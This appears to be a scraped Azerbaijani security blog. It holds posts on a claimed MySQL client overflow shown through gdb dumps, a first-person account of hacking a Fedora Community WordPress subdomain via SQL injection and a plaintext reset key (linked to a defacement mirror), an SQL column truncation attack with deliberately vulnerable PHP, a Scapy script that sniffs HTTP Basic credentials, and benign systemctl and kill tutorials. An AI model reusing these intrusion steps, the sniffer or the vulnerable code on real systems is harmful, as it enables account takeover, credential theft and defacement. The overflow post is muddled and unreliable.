MySQL 5.26 0day `overrun` – `overflow` :O

\w000t/-Program received signal SIGSEGV, Segmentation fault/


Dump of assembler code for function ***************:
0x004d5370 <******+0>:	push   ebp
0x004d5371 <******+1>:	mov    ebp,esp
0x004d5373 <******+3>:	push   esi
0x004d5374 <******+4>:	mov    esi,DWORD PTR [ebp+0x8]
0x004d5377 <******+7>:	mov    eax,DWORD PTR [ebp+0xc]
0x004d537a <******+10>:	mov    ecx,esi
0x004d537c <******+12>:	sub    ecx,eax
0x004d537e <******+14>:	mov    edx,eax
0x004d5380 <******+16>:	movzx  eax,BYTE PTR [edx] <=== one byte '41' move to eax register 
0x004d5383 <******+19>:	mov    BYTE PTR [edx+ecx*1],al <=== that 'al' (low bit)
0x004d5386 <******+22>:	add    edx,0x1 
0x004d5389 <******+25>:	test   al,al
0x004d538b <******+27>:	jne    0x4d5380 <************+16>
0x004d5390 <******+32>:	pop    ebp <======= shellcode addr (restore frame pointer) spawned rop gadget:)
0x004d5391 <******+33>:	ret        < ================= desc1
End of assembler dump.
(gdb) x/x $ebp
0xffffbbc8:	0xffffcc58 < ==== shellcode addr (gdb) x/x $esp 0xffffbbc4: 0xffffce58 (gdb) x/x 0xffffce58 0xffffce58: 0x41414141 current IP === >  eip            0x4d538d	0x4d538d <***********+27>

desc1 
MOV EBP, [ESP]
ADD ESP, 4  ---- $esp == shellcode addr

snippet reg === > 

eax            0x41414141	-14742751
ecx            0xe0b90f	14727439
edx            0x41414141	-14742751
ebx            0x828536c	136860524
esp            0xffffbbc4	0xffffbbc4
ebp            0xffffbbc8	0xffffbbc8
esi            0xffffc430	-15312

after 

(gdb) info r
eax            0xff1f0b21	-14742751
ecx            0xe0b90f	14727439
edx            0xff1f0b21	-14742751
ebx            0x828536c	136860524
esp            0xffffbbc4	0xffffbbc4
ebp            0xffffbbc8	0xffffbbc8
esi            0xffffc430	-15312
edi            0x1	1
eip            0x4d5380	0x4d5380 <*********+***>
eflags         0x10216	[ PF AF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

gadget === > 

00465000-005bb000 r-xp <== executabe 00000000 fd:00 18087950                           /lib/libc-2.5.so
Size:              1368 kB
Rss:                348 kB
Shared_Clean:         0 kB
Shared_Dirty:         0 kB
Private_Clean:      348 kB
Private_Dirty:        0 kB
Swap:                 0 kB
Pss:                348 kB


08048000-08284000 r-xp 00000000 fd:00 48595178                           /root/mysql-5.6.26-linux-glibc2.5-i686/bin/mysql ****************
Size:              2288 kB
Rss:                 84 kB
Shared_Clean:         0 kB
Shared_Dirty:         0 kB
Private_Clean:       84 kB
Private_Dirty:        0 kB
Swap:                 0 kB
Pss:                 84 kB


Advertisements

How we hacked FedoraCommunity ?

Hardasa 6 ay bundan əvvəl Fedora Community nin subdomainlərindən birində wordpress ilə paralel işləyən php də yazılmış scriptdə sql injection tapmışdıq.

WordPress core versiya səhv etmirəmsə 3.5.2 idi.wp_users cədvəlindən əldə edilmiş hash-lərin (wordpress http://www.openwall.com/phpass/ istifadə edir) bruteforce -la crack olunması xeyli vaxt aparacağına görə
fərqli metod seçmək lazım gəlmişdi.

reference:
http://codex.wordpress.org/Function_Reference/wp_hash_password
http://www.openwall.com/phpass/

3.5.2 versiyası və daha alt versiyalarda password reset edərkən
$key = wp_generate_password(20, false);

$key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login = %s", $user_login));
if ( empty($key) ) {
// Generate something random for a key...
$key = wp_generate_password(20, false);
do_action('retrieve_password_key', $user_login, $key);
// Now insert the new md5 key into the db
$wpdb->update($wpdb->users, array('user_activation_key' => $key), array('user_login' => $user_login));
}
$message = __('Someone requested that the password be reset for the following account:') . "\r\n\r\n";
$message .= network_home_url( '/' ) . "\r\n\r\n";
$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
$message .= __('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n\r\n";
$message .= __('To reset your password, visit the following address:') . "\r\n\r\n";
$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";

wp_generate_password() funksiyası 20 simvolluq rəqəm və hərflərin kombinasiyandan key yaradır və həmin key plain text formasında cədvəldə user_activation_key sütununda saxlanılırdı.Cədvəldən çəkdiyimiz key-i aşağıdakı formada daxil edirik

http://domain.com/wp-login.php?action=rp&key=2OhJTnVyV4HXM64VB&login=admin

və username üçün yaradılmış key plain text formasında qarşılaşdırıldığı üçün şifrəni reset edib admin panelə daxil olmaq mümkün olur.
nəticə etibarı ilə

http://www.zone-h.org/mirror/id/24015197

################################################################

4.3.1 də artıq

HashPassword funksiyası ilə user_activate_key şifrələndiyi üçün üçün bu metod artıq keçərli deyil.

$hashed = time() . ‘:’ . $wp_hasher->HashPassword( $key );

// Now insert the key, hashed, into the DB.
if ( empty( $wp_hasher ) ) {
require_once ABSPATH . WPINC . '/class-phpass.php';
$wp_hasher = new PasswordHash( 8, true );
}
$hashed = time() . ':' . $wp_hasher->HashPassword( $key );
$wpdb->update( $wpdb->users, array( 'user_activation_key' => $hashed ), array( 'user_login' => $user_login ) );

$message = __('Someone requested that the password be reset for the following account:') . "\r\n\r\n";
$message .= network_home_url( '/' ) . "\r\n\r\n";
$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
$message .= __('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n\r\n";
$message .= __('To reset your password, visit the following address:') . "\r\n\r\n";
$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";

new

1445259680:$P$BXNRXLLbVVzxnkjCcq1P/bgtJcSIEG1

hash

#####################################################

Bu kimi halların qarşısını almaq üçün məsləhət görərdim HTTP_Basic_Auth daha sonrasında 2 step auth istifadə edilsin

https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.support.wordpress.com/security/two-step-authentication/

Controlling services and daemons

Daemonlar backgroundda gözləmədə olan və ya runningdə olan müxtəlif taskları icra edən prosesslərdir.Adətən daemonlar boot time da başlayır və os söndürülənə və ya əllə dayandırılana qədər icra olur.
Daemonlar bağlantıları dinləmək üçün socketlərdən istifadə edir.

Red Hat Enterprise Linux yeni versiyalarında artıq
service SERVİS_ADİ status deyil
systemctl status SERVİS_ADİ ilə əvəzlənib

Servis vəziyyətləri (Service states)

[root@localhost sysconfig]# systemctl status httpd
httpd.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled)
Active: active (running) since cüm 2015-10-16 11:25:05 AZST; 3 days ago
Process: 30021 ExecStop=/bin/kill -WINCH ${MAINPID} (code=exited, status=1/FAILURE)
Process: 19722 ExecReload=/usr/sbin/httpd $OPTIONS -k graceful (code=exited, status=0/SUCCESS)
Main PID: 30061 (httpd)
Status: "Total requests: 0; Current requests/sec: 0; Current traffic: 0 B/sec"
CGroup: /system.slice/httpd.service
├─19742 /usr/sbin/httpd -DFOREGROUND
├─19743 /usr/sbin/httpd -DFOREGROUND
├─19744 /usr/sbin/httpd -DFOREGROUND
├─19745 /usr/sbin/httpd -DFOREGROUND
├─19746 /usr/sbin/httpd -DFOREGROUND
└─30061 /usr/sbin/httpd -DFOREGROUND

Okt 16 11:25:04 localhost.localdomain systemd[1]: Starting The Apache HTTP Se...
Okt 16 11:25:04 localhost.localdomain httpd[30061]: AH00558: httpd: Could not...
Okt 16 11:25:05 localhost.localdomain systemd[1]: Started The Apache HTTP Ser...
Okt 18 03:13:01 localhost.localdomain systemd[1]: Reloading The Apache HTTP S...
Okt 18 03:13:02 localhost.localdomain httpd[19722]: AH00558: httpd: Could not...
Okt 18 03:13:02 localhost.localdomain systemd[1]: Reloaded The Apache HTTP Se...
Hint: Some lines were ellipsized, use -l to show in full.

Listing unit files with systemctl

Unit haqqında ətraflı baxmaq üçün
systemctl status httpd.service -l

[root@localhost sysconfig]# systemctl status httpd.service -l
httpd.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled)
Active: inactive (dead) since ber 2015-10-19 11:47:33 AZST; 36min ago
Process: 8103 ExecStop=/bin/kill -WINCH ${MAINPID} (code=exited, status=0/SUCCESS)
Process: 19722 ExecReload=/usr/sbin/httpd $OPTIONS -k graceful (code=exited, status=0/SUCCESS)
Process: 30061 ExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUND (code=exited, status=0/SUCCESS)
Main PID: 30061 (code=exited, status=0/SUCCESS)
Status: "Total requests: 0; Current requests/sec: 0; Current traffic: 0 B/sec"

Okt 16 11:25:04 localhost.localdomain systemd[1]: Starting The Apache HTTP Server...
Okt 16 11:25:04 localhost.localdomain httpd[30061]: AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using localhost.localdomain. Set the 'ServerName' directive globally to suppress this message
Okt 16 11:25:05 localhost.localdomain systemd[1]: Started The Apache HTTP Server.
Okt 18 03:13:01 localhost.localdomain systemd[1]: Reloading The Apache HTTP Server.
Okt 18 03:13:02 localhost.localdomain httpd[19722]: AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using localhost.localdomain. Set the 'ServerName' directive globally to suppress this message
Okt 18 03:13:02 localhost.localdomain systemd[1]: Reloaded The Apache HTTP Server.
Okt 19 11:47:32 localhost.localdomain systemd[1]: Stopping The Apache HTTP Server...
Okt 19 11:47:33 localhost.localdomain systemd[1]: Stopped The Apache HTTP Server.

Servisin aktivliyini yoxlamaq üçün

[root@localhost sysconfig]# systemctl is-active httpd
inactive

Servisin boot time da başladılıb başladılmadığına baxmaq üçün

[root@localhost sysconfig]# systemctl is-enabled httpd
enabled

Aktiv servislər üçün

[root@localhost sysconfig]# systemctl list-units --type=service

Deaktiv servisler də –all option ilə əlavə edilir

[root@localhost sysconfig]# systemctl list-units --type=service --all

Fail olmuş servisler üçün

[root@localhost sysconfig]# systemctl --failed --type=service
UNIT LOAD ACTIVE SUB DESCRIPTION
kdump.service loaded failed failed Crash recovery kernel arming
rngd.service loaded failed failed Hardware RNG Entropy Gatherer Daemon
vboxadd-service.service loaded failed failed LSB: VirtualBox Additions service
vboxadd.service loaded failed failed LSB: VirtualBox Linux Additions kernel modules

LOAD = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB = The low-level unit activation state, values depend on unit type.

4 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.

Masking Services 
[root@localhost sysconfig]# systemctl mask httpd
ln -s '/dev/null' '/etc/systemd/system/httpd.service'

Disable olunmuş servis boot time da başlaya bilmir amma manual üsulla başlaya bilər
amma servis mask olunduqda heç bir halda başlaya bilmir

[root@localhost sysconfig]# systemctl unmask httpd
rm '/etc/systemd/system/httpd.service'

Hər hansı servisi deamon kimi boot time -da başlatmaq üçün

[root@localhost sysconfig]# systemctl enable httpd

Disable etmək üçün

[root@localhost sysconfig]# systemctl disable httpd

rm '/etc/systemd/system/multi-user.target.wants/httpd.service'

Unicorn CPU Emulator Framework

unicorn

CPU Emulator ?

– fiziki CPU təqlid edir (emulate)
– real CPU ehtiyyac olmadan direktivləri icra edir (birçox arxitektura dəstəkləyir)
– malware kodlarını təhlükəsiz analiz etmək
– code semantics based analiz 😎

CPU Emulator daxili
Verilmiş giriş kodu (input code) binary formasında (instruction encode) olur. Binary forması ayrı ayrılıqda instruction formasına decode edilir. İnstruction set haqqında irəlidəki məqalələrdə ətraflı danışacam. Daha sonra verilmiş direktivlərə uyğun əməliyyatlar həyata keçirilir (İ/O, Memory access, conduct of operations with CPU Context) Qısa misal verirəm:

50 —> push eax
– eax register-i yüklənir
– eax register-nin dəyəri stack-in üzərinə kopylanır

Həmçinin onuda qeyd edimki multi arxitektura özəlliyi ARM,x86,ARM64,PowerPC,MIPS kimi arxitekturaları dəstəkləyir buda o deməkdir ki multi platformalarıda həmçinin reverse etmək imkanımız olacaq 😎 (*nix,Windows,Android,iOS etc..). Bunun üçün bizə müxtəlif İnstruction set architecture qaynaqları lazım olacaq.

for e.g instruction set format verirəm )

+----------+--------+--------+-----+--------------+-----------+
| prefixes | opcode | modR/M | sib | displacement | immediate |
+----------+--------+--------+-----+--------------+-----------+

Unicorn framework müxtəlif dillərlə birləşdirilə bilir (Python,Java,GO). Unicorn QEMU emulator istifadə edərək direktivləri icra edir. JIT compiler və interpreter istifadə etdiyinə görədə yaxşı performansa sahibdir.

QEMU arch

++++++++++++++++        ++++++++++++++++        ++++++++++++++++       
| CPU emulation|        |              |        |   Peripheral |
|      JIT     |------ >| I/O interface|------ >|   Model&     |
|      MMU     |        |              |        |   Memory     |
++++++++++++++++        |+++++++++++++++        +++++++++++++++|
                                                       ^
+++++++++++++++                                        |
|             |                                        |
| Flow control| ---------------------------------------|
|             |
+++++++++++++++

QEMU yalnız CPU təqlid (emulate) etmir həmçinin müxtəlif avadanlıq modellerini və ROM/BİOS tam olaraq emulate edə bilir. QEMU kod bazasının çox böyük və qarışıq olduğu qəbul edilir. Unicorn isə əksinə yalnız CPU təqlid edir. Unicorn həmçinin
– Step-by-step execution
Danışım İnstruction step mövzusundan
İnstruction step müəyyən əmri bir step-də icra edərək funksiyanın necə işləməsini təyin edə bilir. Bu yolla biz proqram axışını izləyə bilər və yaxud proqram təminatındakı variable dəyərinin doğru olub olmamasını bir addımda müəyyənləşdirə bilərik.
–     Memory access
–     Emulate sırasında dinamik olaraq yaddaşa yazmaq və yaxud oxumaq
–     Exception, Syscall, interrrupt idarə etmək

 

Unicorn dokumentasiyasından reference verirəm (Unicorn API)

Clean/simple/lightweight/intuitive architecture-neutral API.
– The core provides API in C
–   start & stop emulation (based on end-address, time or instructions count)
–   read & write   memory
–   read & write registers
– memory management: hook memory events, dynamically map memory at runtime
–   hook memory events for invalid memory access
–   dynamically map memory at runtime (handle invalid/missing memory)

Bu core altında Python bindings özəlliyidə mövcuddur.

Screenshot 2015-10-18 17.59.57

 

 

SQL column truncate attack vector

Bu yazıda köhnə,lakin aktual və yarandığı halda doğurdan da kritik vəziyyət yaradan SQL column truncation – dan danışmaq istəyirəm
Proqramlama dili olaraq PHP,sorğu dili olaraq MySQL istifadə edəcəm.Onu da qeyd edim ki,hansı proqramlama dilindən istifadə edilməsinin bu hal üçün elə bir əhəmiyyəti yoxdur(Lazımı prevention tədbirləri görüləmədiyi hallarda)

index.php və register.php adlı 2 php faylimiz olduğunu var sayaq

index.php

###############################################################

<?php

mysql_connect('localhost','root','xxxx');
mysql_select_db('truncate_injection');

if($_POST){

	$username = strip_tags($_POST['username']);
	$password = strip_tags(md5($_POST['password']));

	$query = mysql_query("select * from admin where username='$username' and password='$password'");
    
    if(mysql_num_rows($query)>0){

    	echo 'Admin panel<br>';
    	while($row = mysql_fetch_array($query)){

    		echo "ID: ".$row['id'];
    	}
    }else{
    	echo 'istifadeci adi ve ya sifre yanlisdir';
    }

}

?>
<center>
<form method="post">
<label>Username: </label><input type="text" maxlength="10" name="username"> </br></br>
<label>Password: </label><input type="password" maxlength="10" name="password"> </br></br>
<input type="submit" value="Daxil ol"> </br>
</form>
<a href="register.php">Qeydiyyat</a>
</center>

################################################################

register.php

###############################################################

<?php

mysql_connect('localhost','root','xxxxx');
mysql_select_db('truncate_injection');

if($_POST){

	$username = $_POST['username'];
	$password = md5($_POST['password']);

	$query = mysql_query("select * from admin where username='$username'");
    
    if(mysql_num_rows($query)>0){

    	
    	die("Artiq bele istifadeci var");
    }else{
    	
		$newadmin = mysql_query("INSERT INTO `admin` (username,password) VALUES ('$username','$password')");
	    
	    if($newadmin){

	    	echo 'Qeydiyyat ugurla tamamlandi';
	    }else{
	    	echo 'Qeydiyyat tamamlandi';
	    }
    }


}


?>
<center>
<form method="post">
<label>Username: </label><input type="text" maxlength="10" name="username"> </br></br>
<label>Password: </label><input type="password" maxlength="10" name="password"> </br></br>
<input type="submit" value="Qeydiyyat ol"> </br>
</form>
</center>

##############################################################################

admin.sql

##############################################################################

— phpMyAdmin SQL Dump
— version 4.0.10deb1
http://www.phpmyadmin.net

— Host: localhost
— Generation Time: Oct 17, 2015 at 01:03 AM
— Server version: 5.5.44-0ubuntu0.14.04.1
— PHP Version: 5.5.9-1ubuntu4.11

SET SQL_MODE = “NO_AUTO_VALUE_ON_ZERO”;
SET time_zone = “+00:00”;

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;


— Database: `truncate_injection`

— ——————————————————–


— Table structure for table `admin`

CREATE TABLE IF NOT EXISTS `admin` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(10) NOT NULL,
`password` varchar(35) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=12 ;


— Dumping data for table `admin`

INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, ‘admin’, ‘e10adc3949ba59abbe56e057f20f883e’);

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

############################################################################

admin adlı cədvəli yaratdıq və eyni adlı admin userini və md5 tipində şifrəni qeyd etdik

register.php faylında yeni istifadəçi qeydiyyatdan keçirərkən formdan ötürülmüş username cədvəldə daha öncədən var ya yox deyə yoxlayırıq
əgər belə istifadəçi artıq varsa qeydiyyatı sonlandırırq yox əgər yoxdursa yeni istifadəçi adı və şifrəni cədvələ qeyd edirik.
Prosessdə kritik hissə də məhz elə buradan başlayır.
İndi isə izah edək

`username` varchar(10) NOT NULL,

Göründüyü kimi,biz cədvəldə struktur yaradarkən username sütununu uzunluğu 10 simvolluq varchar tipində təyin etdik

admin cədvəlində admin adlı user var və privilegiyalı userdir.qeydiyyatdan keçən şəxs artıq cədvəldə admin userinin olduğunu bilir və
source kodu analiz etdikdə orda maxlength=”10″ olduğu görür.Deməli əgər kod səviyyəsində ötürülmüş data -nın uzunluğunun limiti nəzərə alınmayıbsa maxlength=”20″ attributunu manipulyasiya edib limiti artıra bilər.
Bu halda nə baş verir

Yeni qeydiyyatdan username adi privilegiyalı userin adı olsa məsələn admin,onda bu formada daxil ediləcək

login

burada x simvolunun başladığı yer artıq admin sözündən sonrakı boşluqlarla birlikdə 11 ci simvoldur.Cədvələ belə bir istifadəçi adı
göndərildikə biz daha öncədən username sütununu 10 simvol təyin etdiyimizə görə 10 cu simvola qədər hər şey saxlanılıb 11 ci simvol daxil olmaqla sonrakı hissə silinəcək,beləliklə cədvəldə artıq admin adlı 2ci bir user yaradılmiş olacaq.

################################################################################

Necə qorunmaq olar ?
İlk növbədə ötürülmüş data-da boşluqlar silinməlidir (strip_tags)
Daha sonra cədvəldə qeyd edilmiş sütun tipinin uzunluğu ilə ötürülmüş data-nın uzunluğunu qarşılaşdırmaq lazımdı.

 if(strlen($username)>10)
    {
    	die("simvol coxdur");
    }
    

################################################################################

Qeyd: login formda potensial sql injection-da var o barədə də başqa bir yazıda danışarıq 🙂

HTTP Auth Sniffing

HTTP autentifikasiyaların bir çoxu Basic Mode ilə həyata keçirilir. Yəni, bir çox developerlər formdan, HTTP üzərindən göndərdikləri məlumatların şifrələndiyindən əmin olurlar. Ama bu doğru deyil. HTTP üzərindən göndərilən məlumatlar Base64 ilə encode olunduğu üçün bu məlumatların plaintextdən heç bir fərqi yoxdur. Səbəb isə base64ün encoderi olduğu kimi decoderinin də olmasıdır.Bu arada sizlərə encoding-decoding,encrypting-decrypting və hashingin fəqrləri haqda məlumat vermək istərdim. Bunları araşdırdığım günə kimi mən də hamsının eyni olduğunu düşünürdüm. Ancaq bu belə deyil.

Encode və decode – Encoding hər hansısa bir məlumatın ötürülməsi zamanı həmin məlumatın şifrələnməyinə xidmət edir. Ancaq bu o qədər də güvənli deyil. Çünki həmin məlumatı yenidən əvvəlki vəziyyətinə qaytarmaq üçün decoderi mövcuddur və bu public olunmuş birşeydir.

Encrypt və decrypt – Encryption da məlumatı şifrələməyə xidmət edir. Və onu decryptorla əvvəlki vəziyətinə qaytarmaq mümkündür. Amma yeganə fərqləri ondadır ki, decryptor public birşey deyil.

Hash – Hashing də eyni vəzifəni daşısa da Hash ilə şifrələnən məlumatı geriyə qaytarmaq mümkün deyil.

Mövzumuza yenidən qayıdaq. Demək, hücum edən şəxs HTTP üzərindən göndərdiyiniz məlumatları əldə edib rahatlıqla onu istifadə edə bilər. Aşağıdakı kod bloqunda siz bunun baş verdiyini görə bilərsiniz.
Lazımlı modullar: re(regular expressions), base64, scapy. Scapy modulu standart modul olmadığı üçün terminalda `pip install Scapy` əmrini yazaraq modulu rahatlıqla qura bilərsiniz.

import re
from base64 import base64decode
from scapy.all import sniff

dev = "wlan0"

def handle_packet(packet):
	tcp = packet.getlayer("TCP")
	match = re.search(r"Authorization: Basic (.+)",str(tcp.payload))

	if match:
		auth_str = base64decode(match.group(1))
		auth = auth_str.split(":")
		print "User: " + auth[0] + " Password: " + auth[1]

sniff(iface = dev,store = 0, filter ="tcp and port 80",prn = handle_packet)

Sniff() funksiyasını istifadə etməklə biz əvvəlcə HTTP üzərindən ötürülən məlumatları oxuyuruq və onları handle_packet() funksiyası vaitəsilə TCP layerə çıxarırıq. Əldə etdiyimiz məlumatların içərisində Authorization: Basic-ə görə axtarış aparırıq. Əgər axtarış nəticəsində hansısa məlumatı əldə etmişiksə b64decode() funksiyası vasitəsilə onu decode edib, daha sonra istifadəçi adı və şifrəyə uyöun olaraq parse edirik. Və beləliklə məlumatlar əlimizdədir. Bu təhlükədən qorunmağın yollarından biri veb tətbiqetmələrinizdə HTTP üzərindən məlumat ötürərkən Digest-Authentication istifadə etməkdir.

Müəllif: mrustamoff

Linux Killing processes

Creating-Monitoring-and-Killing-Processes-in-Linux
Linuxda running prosesslərə baxmaq üçün

ps -aux istifadə edirik

[root@localhost Desktop] ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 141528 4508 ? Ss Okt15 0:04 /usr/lib/system
root 2 0.0 0.0 0 0 ? S Okt15 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S Okt15 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< Okt15 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? S Okt15 0:01 [kworker/u2:0]
root 7 0.0 0.0 0 0 ? S Okt15 0:00 [migration/0]
root 8 0.0 0.0 0 0 ? S Okt15 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S Okt15 0:00 [rcuob/0]
root 10 0.0 0.0 0 0 ? S Okt15 0:14 [rcu_sched]
root 11 0.0 0.0 0 0 ? R Okt15 0:34 [rcuos/0]
root 12 0.0 0.0 0 0 ? S Okt15 0:01 [watchdog/0]
root 13 0.0 0.0 0 0 ? S< Okt15 0:00 [khelper]
root 14 0.0 0.0 0 0 ? S Okt15 0:00 [kdevtmpfs]
root 15 0.0 0.0 0 0 ? S< Okt15 0:00 [netns]

və yaxud terminala top və ya təkmilləşdirilmiş htop yazıb baxmaq olar

[root@localhost Desktop] yum install htop
Loaded plugins: fastestmirror, langpacks
base | 3.6 kB 00:00 
epel/x86_64/metalink | 5.3 kB 00:00 
epel | 4.3 kB 00:00 
extras | 3.4 kB 00:00 
mysql-connectors-community | 2.5 kB 00:00 
mysql-tools-community | 2.5 kB 00:00 
mysql56-community | 2.5 kB 00:00 
updates | 3.4 kB 00:00 
(1/3): epel/x86_64/group_gz | 169 kB 00:03 
(2/3): epel/x86_64/updateinfo | 369 kB 00:03 
(3/3): epel/x86_64/primary_db | 3.6 MB 00:22 
Determining fastest mirrors
* base: mirror.bakinter.net
* epel: epel.mirror.srv.co.ge
* extras: mirror.bakinter.net
* updates: mirror.bakinter.net
Resolving Dependencies
--> Running transaction check
---> Package htop.x86_64 0:1.0.3-3.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
Package Arch Version Repository Size
================================================================================
Installing:
htop x86_64 1.0.3-3.el7 epel 87 k

Transaction Summary
================================================================================
Install 1 Package

Total download size: 87 k
Installed size: 181 k
Is this ok [y/d/N]: y
Downloading packages:
htop-1.0.3-3.el7.x86_64.rpm | 87 kB 00:03 
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
Installing : htop-1.0.3-3.el7.x86_64 1/1 
Verifying : htop-1.0.3-3.el7.x86_64 1/1 

Installed:
htop.x86_64 0:1.0.3-3.el7 

Complete!

[root@localhost Desktop] htop

Tasks: 157 total,   2 running, 153 sleeping,   2 stopped,   0 zombie
%Cpu(s):  0,7 us,  0,4 sy,  0,0 ni, 98,6 id,  0,2 wa,  0,0 hi,  0,0 si,  0,0 st
KiB Mem :  1017480 total,    63332 free,   744844 used,   209304 buff/cache
KiB Swap:  2097148 total,  1897280 free,   199868 used.   112512 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND      
 1788 root      20   0  130020   1748   1232 R  5,9  0,2   0:00.01 top          
    1 root      21   1  141528   2932    856 S  0,0  0,3   0:04.09 systemd      
    2 root      20   0       0      0      0 S  0,0  0,0   0:00.03 kthreadd     
    3 root      20   0       0      0      0 S  0,0  0,0   0:00.85 ksoftirqd/0  
    5 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 kworker/0:0H 
    6 root      20   0       0      0      0 S  0,0  0,0   0:01.11 kworker/u2:0 
    7 root      rt   0       0      0      0 S  0,0  0,0   0:00.00 migration/0  
    8 root      20   0       0      0      0 S  0,0  0,0   0:00.00 rcu_bh       
    9 root      20   0       0      0      0 S  0,0  0,0   0:00.00 rcuob/0      
   10 root      20   0       0      0      0 S  0,0  0,0   0:14.20 rcu_sched    
   11 root      20   0       0      0      0 R  0,0  0,0   0:34.69 rcuos/0      
   12 root      rt   0       0      0      0 S  0,0  0,0   0:01.14 watchdog/0   
   13 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 khelper      
   14 root      20   0       0      0      0 S  0,0  0,0   0:00.00 kdevtmpfs    
   15 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 netns        
   16 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 writeback    
   17 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 kintegrityd

bütün siqnallara baxmaq üçün
kill -l istifadə edirik

[root@localhost Desktop] kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX

kill -15 prosess ID = kill -SIGTERM prosess ID (SIGTERM)
kill -9 prosess ID = kill -SIGKILL prosess ID (SIGKILL)

Bir dəfəyə çoxlu prosessi sonlandıra bilərik

kill PİD1,PİD2,PİD3

pidof əmri ilə prosess PID -ə baxırıq

[root@localhost Desktop] pidof httpd
29737 29736 29735 29734 29733 29731

pgrep əmri ilə prosessin adına görə PID -ə baxırıq

[root@localhost Desktop] pgrep httpd
29731
29733
29734
29735
29736
29737

kill əmrindən fərqli olaraq pkill prosessi adına görə sonlandırır

[root@localhost Desktop] pkill -9 httpd # httpd servisi sonlandırırıq
[root@localhost Desktop] pidof httpd # prosess id -sinə baxırıq
[root@localhost Desktop] service httpd start # servisi yenidən başladırıq
Redirecting to /bin/systemctl start httpd.service
[root@localhost Desktop] pidof httpd #prosess id-sinə baxırıq
29737 29736 29735 29734 29733 29731